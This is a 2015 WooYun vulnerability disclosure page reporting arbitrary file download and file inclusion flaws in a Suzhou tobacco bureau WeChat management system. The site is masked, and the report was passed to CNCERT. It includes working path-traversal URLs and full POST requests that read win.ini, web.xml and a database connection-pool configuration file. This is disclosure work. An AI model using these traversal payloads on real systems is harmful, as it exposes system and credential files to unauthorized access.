当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0143552

漏洞标题：苏州市烟草专卖局某系统存在任意文件下载、包含漏洞

相关厂商：苏州市烟草专卖局

漏洞作者： 我的邻居王婆婆

提交时间：2015-09-26 10:30

修复时间：2015-11-14 09:24

公开时间：2015-11-14 09:24

漏洞类型：任意文件遍历/下载

危害等级：高

自评Rank：11

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-09-26： 细节已通知厂商并且等待厂商处理中
2015-09-30： cncert国家互联网应急中心暂未能联系到相关单位，细节仅向通报机构公开
2015-10-10： 细节向核心白帽子及相关领域专家公开
2015-10-20： 细节向普通白帽子公开
2015-10-30： 细节向实习白帽子公开
2015-11-14： 细节向公众公开

简要描述：

任意文件下载、包含

详细说明：

苏州烟草微信管理系统
http://**.**.**.**
1#任意文件下载2处
http://**.**.**.**/a.picauto?path=C:\Windows\win.ini

QQ截图20150926095755.png


http://**.**.**.**/public/a.picauto?path=C:\Windows\win.ini

QQ截图20150926095904.png

漏洞证明：

2#文件包含多处

POST http://**.**.**.**/public/ticketcus.jsp.ticket2form_UpdateCus.do HTTP/1.1
Accept-Language: zh-CN
Accept-Charset: utf-8, iso-8859-1, utf-16, *;q=0.7
Referer: http://**.**.**.**/public/ticketcus.jsp.ticket2form_Into.do?openId=人为马赛克
User-Agent: Mozilla/5.0 (Linux; U; Android 4.4.4; zh-cn; HM NOTE 1LTE Build/KTU84P) AppleWebKit/533.1 (KHTML, like Gecko)Version/4.0 MQQBrowser/5.4 TBS/025469 Mobile Safari/533.1 MicroMessenger/**.**.**.**_rfe7d7c5.621 NetType/WIFI Language/zh_CN
Origin: http://**.**.**.**
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Connection: keep-alive
Host: **.**.**.**
Cookie: JSESSIONID=1DAD90544DB99EB66DCCA10652391C7D
Content-Length: 114
returnUrl=../WEB-INF/web.xml&openId=人为马赛克&customerCode=123456789123&customerNo=123456789123


QQ截图20150926100051.png


POST http://**.**.**.**/public/personalexpand.jsp.personalform_UpdateExpand.do HTTP/1.1
Accept-Language: zh-CN
Accept-Charset: utf-8, iso-8859-1, utf-16, *;q=0.7
Referer: http://**.**.**.**/public/personaldata.jsp.personalform_Update.do
User-Agent: Mozilla/5.0 (Linux; U; Android 4.4.4; zh-cn; HM NOTE 1LTE Build/KTU84P) AppleWebKit/533.1 (KHTML, like Gecko)Version/4.0 MQQBrowser/5.4 TBS/025469 Mobile Safari/533.1 MicroMessenger/**.**.**.**_rfe7d7c5.621 NetType/WIFI Language/zh_CN
Origin: http://**.**.**.**
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Connection: keep-alive
Host: **.**.**.**
Cookie: JSESSIONID=1DAD90544DB99EB66DCCA10652391C7D
Content-Length: 226
returnUrl=../WEB-INF/conf/release_proxool.xml&item9=A&item10=A&item11=02&item12=F&item13=03&item14=B&item15=D&item16=F&item17=B&item18=B&item19=D&item20=B&item21=B&item22=B&item23=A&item24=A&openId=人为马赛克


QQ截图20150926100225.png


甚至还有这个

QQ截图20150926100406.png


最后说下发现的过程，微信关注苏州烟草，然后开启疯狂扫描模式，就是这样

修复方案：

过滤

版权声明：转载请注明来源 我的邻居王婆婆@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2015-09-30 09:22

厂商回复：

CNVD确认所述情况,已经转由CNCERT下发给江苏分中心,由其后续协调网站管理单位处置.

最新状态：

暂无

漏洞评价：

评论

  1. 2015-09-26 11:48 | 隔壁老王二号吧 ( 路人 | Rank:2 漏洞数:1 | 没有)

    哎呀，终于弄到乌云号了。求大牛神器砸死我吧。来的晚名字都被抢了求万恶的神器砸死我吧